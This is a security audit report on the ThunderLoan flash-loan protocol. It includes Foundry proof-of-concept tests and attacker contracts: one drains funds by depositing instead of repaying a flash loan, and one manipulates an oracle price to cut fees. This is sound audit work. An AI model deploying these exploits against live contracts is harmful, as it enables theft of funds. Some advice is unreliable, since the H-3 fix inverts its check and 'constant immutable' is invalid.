Protocol Audit Report

Version 1.0

Akshat

August 8, 2024

Protocol Audit Report

Akshat

August 8, 2024

Prepared by: Akshat Lead Auditors: - Akshat

Table of Contents

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Disclaimer

The Akshat team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

This was a difficult protocol to audit , but I learnt a lot about defi and some new exploits. One of the key takeaways from this project would be to study existing successful defi protocols like Aave , maker , uniswap etc in detail , so that it is easier to develop context in many defi projects and would also aid in the auditing process.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	6
Gas	2
Info	6
Total	20

Findings

High

[H-1] Storage collsion in `ThunderLoan` and `ThunderLoanUpgraded`

Description The storage layout of `ThunderLoan` and `ThunderLoanUpgraded` are different , specifically , `s_flashLoanFee` and `s_currentlyFlashLoaning` have been shifted one spot up

`ThunderLoan.sol` has two variables in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the expected upgraded contract `ThunderLoanUpgraded.sol` has them in a different order.

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the positions of storage variables when working with upgradeable contracts.

Impact: After upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the `s_currentlyFlashLoaning` mapping will start on the wrong storage slot.

Proof of Concepts

Code

Add the following code to the `ThunderLoanTest.t.sol` file.

```
// You'll need to import `ThunderLoanUpgraded` as well
import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
    ThunderLoanUpgraded.sol";
.
.
.

function testUpgradeBreaks() public {
        uint256 oldFee = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded),"");
        vm.stopPrank();
        uint256 newFee = thunderLoan.getFee();
        assert(oldFee != newFee);
    }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In `ThunderLoanUpgraded.sol`:

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee;
+    uint256 public constant FEE_PRECISION = 1e18;
```

[H-2] Erroneous `ThunderLoan::updateExchangeRate` in `ThunderLoan::deposit` function causes protocol to think it has more fees than it actually does, which blocks redemption and incorrectly sets the exchange rate.

Description In the `ThunderLoan` contract , the `updateExchangeRate` function is responsible for updating the exchange rate based on fee collected from flash loans. But , the `deposit` function calls `updateExchangeRate` without actually collecting any fees.

```
    function deposit(IERC20 token, uint256 amount) external
       revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
           EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
=>      uint256 calculatedFee = getCalculatedFee(token, amount);
=>      assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
           ;
    }
```

Impact Several impacts:

1. The `ThunderLoan::redeem` function is blocked , causing liquidity providers to be unable to withdraw their funds. This happens because the protocol calculates fee incorrectly , and tries to send this incorrect(higher than actual) amount to the LP , but it will revert as the contract doesnt actually have this much balance

2. Rewards are incorrectly calculated , causing liquidity providers to get more or less rewards than deserved.

Proof of Concepts 1. LP deposits tokens 2. User takes out a flash loan 3. It is now impossible for LP to redeem

PoC

Paste the following test into your `ThunderLoanTest.t.sol` test suite

```
    function testRedeemAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);
        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
            amountToBorrow, "");
        vm.stopPrank();

        vm.startPrank(liquidityProvider);
        uint256 numOfAssetTokens = thunderLoan.getAssetFromToken(tokenA
            ).balanceOf(liquidityProvider);
        vm.expectRevert();
        thunderLoan.redeem(tokenA,numOfAssetTokens);
        vm.stopPrank();
    }
```

Recommended mitigation Remove the following lines from the `deposit` function.

```
    function deposit(IERC20 token, uint256 amount) external
       revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

[H-3] Flash loan borrowers may call the `ThunderLoan::deposit` instead of `ThunderLoan::repay` to repay the loan, causing them to steal the funds of the protocol.

Description When a user takes out a flash loan , they are expected to repay it via the `repay` function (though , they just send the money instead of calling the `repay` function , but that isn't an issue). The `ThunderLoan::flashloan` function , which is responsible for giving out flash loans , has the following way of checking whether the loan has been repaid:

```
        if (endingBalance < startingBalance + fee) {
            revert ThunderLoan__NotPaidBack(startingBalance + fee,
                endingBalance);
        }
```

It just checks the balance , not whether the `repay` function has been called or not. So , a malicious user may call `deposit` instead of `repay`. Doing this would increment the balance of the contract to the desired amount and pass the check shown above and the flash loan would be considered paid. But since this user has essentially DEPOSITED funds into the protocol , they would be given back asset tokens which can be redeemed to get funds out of the protocol. This way , the user will be sent (underlying)tokens which weren't deposited by this user.

Impact A malicious user may steal funds out of the protocol.

Proof of Concepts

1. LP deposits funds
2. User takes out a flash loan
3. User repays by calling the `deposit` function
4. Now user has been some asset tokens , which can be swapped for underlying tokens by calling the `redeem` function.

PoC

Place the following test into `ThunderLoanTest.t.sol::ThunderLoanTest` contract

```
    function testDepositOverRepay() public setAllowedToken hasDeposits
        {
        uint256 amountToBorrow = 50e18;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);
        vm.startPrank(user);
        DepositOverRepay dor = new DepositOverRepay(address(thunderLoan
            )); // attacking contract
        tokenA.mint(address(dor), calculatedFee);
        thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "")
            ;
        vm.stopPrank();

        dor.redeem();

        console.log("Balance of attacker :", tokenA.balanceOf(address(
            dor)));
        console.log("Amount initially borrowed + fee :",amountToBorrow
            + calculatedFee);

        assert(tokenA.balanceOf(address(dor)) > amountToBorrow +
            calculatedFee); // this is higher instead of equal is due to
             the weird updation of exchange rate in the `flashloan`
            function , which has already been called out in the [H-2]
            finding.
    }
```

Also , place the following contract into `ThunderLoanTest.t.sol`

```
    contract DepositOverRepay is IFlashLoanReceiver{
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 tokenA;

    constructor(
        address _thunderLoan){
            thunderLoan = ThunderLoan(_thunderLoan);
        }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address initiator,
        bytes calldata params
    )
        external
        returns (bool)
    {
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        tokenA = IERC20(token);
        tokenA.approve(address(thunderLoan),amount+fee);
        thunderLoan.deposit(tokenA,amount+fee); // deposit instead of
            repay
        return true;
    }

    function redeem() external{
        thunderLoan.redeem(tokenA,assetToken.balanceOf(address(this)));
    }
}
```

Recommended mitigation Add the following check to `deposit` to prevent flash loaned tokens to be deposited

```
    function deposit(IERC20 token, uint256 amount) external
       revertIfZero(amount) revertIfNotAllowedToken(token) {
+        if(!s_currentlyFlashLoaning[token]){
+           revert();
+        }
    .
    .
    .
    }
```

Medium

[M-1] Using T-Swap as price oracle leads to price and oracle manipulation attacks

Description `ThunderLoan` contract uses "Price of one pool token in weth" in the t-swap DEX. But if the market conditions are weird or a malicious user manipulates the price of pool tokens , then the fee can be manipulated to get flash loans at much lower fees.

```
    function getCalculatedFee(IERC20 token, uint256 amount) public view
        returns (uint256 fee) {
        //slither-disable-next-line divide-before-multiply
=>      uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address
    (token))) / s_feePrecision;
        //slither-disable-next-line divide-before-multiply
        fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
    }
```

Impact Flash loans can be taken as much lower fees , making LP's to lose on fees.

Proof of Concepts 1. LP funds Thunder Loan contract 2. Malicious user takes a flash loan , and deposits those tokens (tokenA) into tokenA/weth pool to DECREASE price of tokenA in terms of weth 3. Take another flash loan , and this will have much lower fees.

Proof of Code

Place the following test into `ThunderLoanTest.t.sol::ThunderLoanTest` contract

```
    function testPriceManipulation() public
    {
        // 1. setup the contracts
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan),"");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
           ;
        // create a pool b/w WETH/TokenA
        address tswapPool = pf.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        // 2. Fund tswap
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider,100e18);
        tokenA.approve(tswapPool,100e18);
        weth.mint(liquidityProvider,100e18);
        weth.approve(tswapPool,100e18);
        BuffMockTSwap(tswapPool).deposit(100e18,100e18,100e18,block.
            timestamp);
        vm.stopPrank();
        // now , ratio is 1:1

        // 3. Fund thunderLoan (so that we can take out a flash loan)
        vm.startPrank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA,true);
        vm.stopPrank();

        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider,1000e18);
        tokenA.approve(address(thunderLoan), 1000e18);
        thunderLoan.deposit(tokenA,1000e18);
        vm.stopPrank();

        // 4. take out 2 flash loans , 1 to manipulate price of dex(
            tswapPool) , and hence the other flash loan will have much
            lower fees

        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,100
            e18);
        console.log("normalFeeCost" , normalFeeCost); //
            0.296147410319118389

        uint256 amountToBorrow = 50e18;
        MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver
            (
            address(thunderLoan),
            address(tswapPool),
            address(thunderLoan.getAssetFromToken(tokenA))
        );

        vm.startPrank(user);
        tokenA.mint(address(flr), 100e18); // to cover the fee
        thunderLoan.flashloan(address(flr),tokenA,amountToBorrow,"");
        vm.stopPrank();

        console.log("Attack fee(first half of tokens)" , flr.feeOne());
             // 0.148073705159559194
        console.log("Attack fee(second half of tokens)" , flr.feeTwo())
            ; // 0.066093895772631111

        uint256 attackFee = flr.feeOne() + flr.feeTwo();
        console.log("Attack fee" , attackFee); // 0.214167600932190305

        assert(attackFee < normalFeeCost);
    }
```

Place the following contract into `ThunderLoanTest.t.sol`

```
    contract MaliciousFlashLoanReceiver is IFlashLoanReceiver{
    // 1. take 1 flash loan
    // 2. swap the recd tokenA for weth to decrease price of 1 pool
        token in weth
    // 3. take out another flash loan to show the decrement in fee

    ThunderLoan thunderLoan;
    BuffMockTSwap tswapPool;
    address repayAddress;
    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;

    constructor(
        address _thunderLoan,
        address _tswapPool,
        address _repayAddress){
            thunderLoan = ThunderLoan(_thunderLoan);
            tswapPool = BuffMockTSwap(_tswapPool);
            repayAddress = _repayAddress;
        }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address initiator,
        bytes calldata params
    )
        external
        returns (bool)
    {
        if(!attacked){
            // attack
            feeOne = fee;
            attacked = true;
            uint256 wethBought = tswapPool.getOutputAmountBasedOnInput
                (50e18,100e18,100e18);
            IERC20(token).approve(address(tswapPool),50e18);
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                wethBought,block.timestamp);

            // call a second flash loan
            thunderLoan.flashloan(address(this),IERC20(token),amount ,
                "");
            // repay the first flash loan
            // IERC20(token).approve(address(thunderLoan), amount+fee);
            // thunderLoan.repay(IERC20(token) , amount+fee);
            IERC20(token).transfer(repayAddress, amount+fee);
        }
        else{
            // calculate the fee and repay
            feeTwo = fee;
            // repay the second flash loan
            IERC20(token).approve(address(thunderLoan), amount+fee);
            thunderLoan.repay(IERC20(token) , amount+fee);
            // above line wont work as tokenA is set to "not being
                flash loaned" after second flash loan is paid , so when
                we got to repay the first flash loan , it reverts as it
                says "this isnt being flash loaned , why you repaying it
                ?". it is a bug
        }
        return true;
    }
}
```

Recommended mitigation Consider using a different pricing oracle , like a Chainlink price feed with Uniswap TWAP fallback oracle.

[M-2] Weird ERC20's may denylist/blacklist the `ThunderLoan` or `AssetToken` contract , making the `AssetToken::transferUnderlyingTo` function to revert

Description `transferUnderlyingTo` is intended for the `ThunderLoan` contract to send some tokens to a user/flash loan borrower/liquidity provider. But if ERC20 blacklists the `ThunderLoan` or `AssetToken` contract , this function will revert.

```
    function transferUnderlyingTo(address to, uint256 amount) external
        onlyThunderLoan {
         i_underlying.safeTransfer(to, amount);
    }
```

Out of the mentioned ERC20 tokens to be used for this protocol , only USDC may be problematic as it is a proxy.

Impact If the token(which is being transferred) blacklists the `ThunderLoan` or `AssetToken` contract , this function will revert.

Recommended mitigation Closely monitor which tokens are being used and ensure no blacklisting takes place against the protocol.

[M-3] Weird ERC20's may have a weird or missing `.name()` or `.symbol()` function , causing issues in `ThunderLoan::setAllowedToken` function

Description `setAllowedToken` calls `.name()` and `.symbol()` on a token

```
        string memory name = string.concat("ThunderLoan ",
            IERC20Metadata(address(token)).name());
        string memory symbol = string.concat("tl", IERC20Metadata(
            address(token)).symbol());
```

But the token might have a missing or messed up `.name()` or `.symbol()` function

Impact Weird ERC20's may not be approved or cause un-intended functionality in the `setAllowedToken` function.

Recommended mitigation Closely monitor which tokens are being used and ensure a correct `.name()` and `.symbol()` functions are implemented in the tokens

Low

[L-1] Discrepancy between `IThunderLoan::repay` and `ThunderLoan::repay` functions

Description `IThunderLoan` , an interface for `ThunderLoan` defines `repay` function in the following manner

```
    function repay(address token, uint256 amount) external;
```

And , `ThunderLoan` defines `repay` function in the following manner

```
    function repay(IERC20 token, uint256 amount) public {
```

Clearly , they both differ in the type of the first param , i.e , `address token` and `IERC20 token`. Though right now , this interface ins't implemented in the actual contract , but if it is the future , this is an issue.

Impact Discrepancy and confusion is caused.

Recommended mitigation Change either of the function declarations to match the other one.

[L-2] `ThunderLoan` uses a initialiser `initialize` , which can be front run

Description `ThunderLoan` is a upgradeable contract , and uses a intialiser `initialize` . But if the deployer forgets to initialise before deploying the contract , anyone can initialise our contract.

Impact Potential front running

Recommended mitigation Call the `initialize` in the deploy script itself , so whenever the contract is deployed , it is initialised.

[L-3] `ThunderLoan::redeem` has a erroneous if statement , causing it to `redeem` to revert under some circumstances

Description `redeem` function allows users to get their tokens (underlying) back in exchange of "asset tokens". It has the following if statement

```
    if (amountOfAssetToken == type(uint256).max) {
            amountOfAssetToken = assetToken.balanceOf(msg.sender);
        }
```

Now , this function works fine for 2 cases - amountOfAssetToken < assetToken.balanceOf(msg.sender) - amountOfAssetToken == type(uint256).max

But it would break for the following case - amountOfAssetToken > assetToken.balanceOf(msg.sender)

The function would revert in this case due to the following line

```
    assetToken.burn(msg.sender, amountOfAssetToken);
```

Impact Function reverts if amountOfAssetToken > assetToken.balanceOf(msg.sender)

Proof of Concepts

PoC

Place the following into `ThunderLoanTest.t.sol`

```
    function testRedeemBreaks() public setAllowedToken hasDeposits {
        vm.startPrank(liquidityProvider);
        uint256 numOfAssetTokens = thunderLoan.getAssetFromToken(tokenA
            ).balanceOf(liquidityProvider);
        vm.expectRevert();
        thunderLoan.redeem(tokenA,numOfAssetTokens + 1);
        vm.stopPrank();
    }
```

Recommended mitigation Change the if statement to the following

```
-   if (amountOfAssetToken == type(uint256).max) {
+   if (amountOfAssetToken > assetToken.balanceOf(msg.sender)) {
            amountOfAssetToken = assetToken.balanceOf(msg.sender);
        }
```

This mitigation assumes that the user wants to swap all his asset tokens for the underlying tokens. Another mitigation might be to remove this if statement also , and let the protocol revert , preferabbly with a custom error message , if the assetTokens they are trying to swap are more than their balance.

[L-4] Cannot call `ThunderLoan::repay` function to pay the first flash loan , if user has taken a flash loan inside a flash loan

Description If a user has taken a flash loan inside of another flash loan(of the same token) , the second flash loan can be repaid using the `repay` function , but this sets `s_currentlyFlashLoaning[token]` to false , making us unable to repay the first flash loan via the `repay` function due to the following check

```
    function repay(IERC20 token, uint256 amount) public {
=>      if (!s_currentlyFlashLoaning[token]) {
=>          revert ThunderLoan__NotCurrentlyFlashLoaning();
        }
        AssetToken assetToken = s_tokenToAssetToken[token];
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

Impact User has to pay the first flash loan back via a simple `.call()` method since the `repay` function is unusable in this case.

Proof of Concepts The PoC of this can be found in the PoC of [M-1] bug.

Recommended mitigation We can keep a count of number of flash loans a user has token of the same token , and NOT revert the `repay` function call until this count is 0 .

[L-5] Centralization Risk for trusted owners

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

6 Found Instances

- Found in src/protocol/ThunderLoan.sol Line: 240

```
    function setAllowedToken(IERC20 token, bool allowed) external
       onlyOwner returns (AssetToken) {
```

- Found in src/protocol/ThunderLoan.sol Line: 266

```
    function updateFlashLoanFee(uint256 newFee) external onlyOwner
         {
```

- Found in src/protocol/ThunderLoan.sol Line: 294

```
    function _authorizeUpgrade(address newImplementation) internal
         override onlyOwner { }
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 238

```
    function setAllowedToken(IERC20 token, bool allowed) external
       onlyOwner returns (AssetToken) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 264

```
    function updateFlashLoanFee(uint256 newFee) external onlyOwner
         {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 287

```
    function _authorizeUpgrade(address newImplementation) internal
         override onlyOwner { }
```

[L-6] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

1 Found Instances

- Found in src/protocol/OracleUpgradeable.sol Line: 16

```
        s_poolFactory = poolFactoryAddress;
```

Gas

[G-1] `AssetToken::updateExchangeRate` reads `s_exchangeRate` multiple times

`s_exchangeRate` may be cached in the following manner and then used

```
    uint256 exchangeRate = s_exchangeRate;
```

This makes us read from storage only once , saving us gas.

[G-2] `ThunderLoan::s_feePrecision` should be constant instead of storage variable

`s_feePrecision` is only set once in the whole contract(inside the constructor) so it can declared as a `constant immutable` variable.

Informational

[I-1] `IThunderLoan` is imported in `IFlashLoanReceiver` but is unsed , so should be removed.

Also , in `MockFlashLoanReceiver.sol` we should import `IThunderLoan` directly and not via `IFlashLoanReceiver`.

[I-2] `IThunderLoan.sol` is never implemented in `ThunderLoan.sol`

`IThunderLoan` is a interface which is supposed to be imported and implemented inside `ThunderLoan.sol` but it never happens. It is good practice to implement interfaces inside actual contracts to avoid mistakes while defining functions which are mentioned inside the interface.

[I-3] Mocks are used for testing external contracts instead of fork-testing

In our protocol , we are using `T-Swap` , an external protocol as a oracle . We should do fork-tests on this external protocol instead of creating mocks and testing them.

[I-4] `public` functions not used internally could be marked `external`

Instead of marking a function as `public`, consider marking it as `external` if it is not used internally.

6 Found Instances

- Found in src/protocol/ThunderLoan.sol Line: 232

```
    function repay(IERC20 token, uint256 amount) public {
```

- Found in src/protocol/ThunderLoan.sol Line: 278

```
    function getAssetFromToken(IERC20 token) public view returns (
        AssetToken) {
```

- Found in src/protocol/ThunderLoan.sol Line: 282

```
    function isCurrentlyFlashLoaning(IERC20 token) public view
        returns (bool) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 230

```
    function repay(IERC20 token, uint256 amount) public {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 275

```
    function getAssetFromToken(IERC20 token) public view returns (
        AssetToken) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 279

```
    function isCurrentlyFlashLoaning(IERC20 token) public view
        returns (bool) {
```

[I-5] Event is missing `indexed` fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

9 Found Instances

- Found in src/protocol/AssetToken.sol Line: 31

```
    event ExchangeRateUpdated(uint256 newExchangeRate);
```

- Found in src/protocol/ThunderLoan.sol Line: 105

```
    event Deposit(address indexed account, IERC20 indexed token,
        uint256 amount);
```

- Found in src/protocol/ThunderLoan.sol Line: 106

```
    event AllowedTokenSet(IERC20 indexed token, AssetToken indexed
        asset, bool allowed);
```

- Found in src/protocol/ThunderLoan.sol Line: 107

```
    event Redeemed(
```

- Found in src/protocol/ThunderLoan.sol Line: 110

```
    event FlashLoan(address indexed receiverAddress, IERC20
        indexed token, uint256 amount, uint256 fee, bytes params);
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 105

```
    event Deposit(address indexed account, IERC20 indexed token,
        uint256 amount);
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 106

```
    event AllowedTokenSet(IERC20 indexed token, AssetToken indexed
        asset, bool allowed);
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 107

```
    event Redeemed(
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 110

```
    event FlashLoan(address indexed receiverAddress, IERC20
        indexed token, uint256 amount, uint256 fee, bytes params);
```

[I-6] Unused Custom Error

it is recommended that the definition be removed when custom error is unused

2 Found Instances

- Found in src/protocol/ThunderLoan.sol Line: 84

```
    error ThunderLoan__ExhangeRateCanOnlyIncrease();
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 84

```
    error ThunderLoan__ExhangeRateCanOnlyIncrease();
```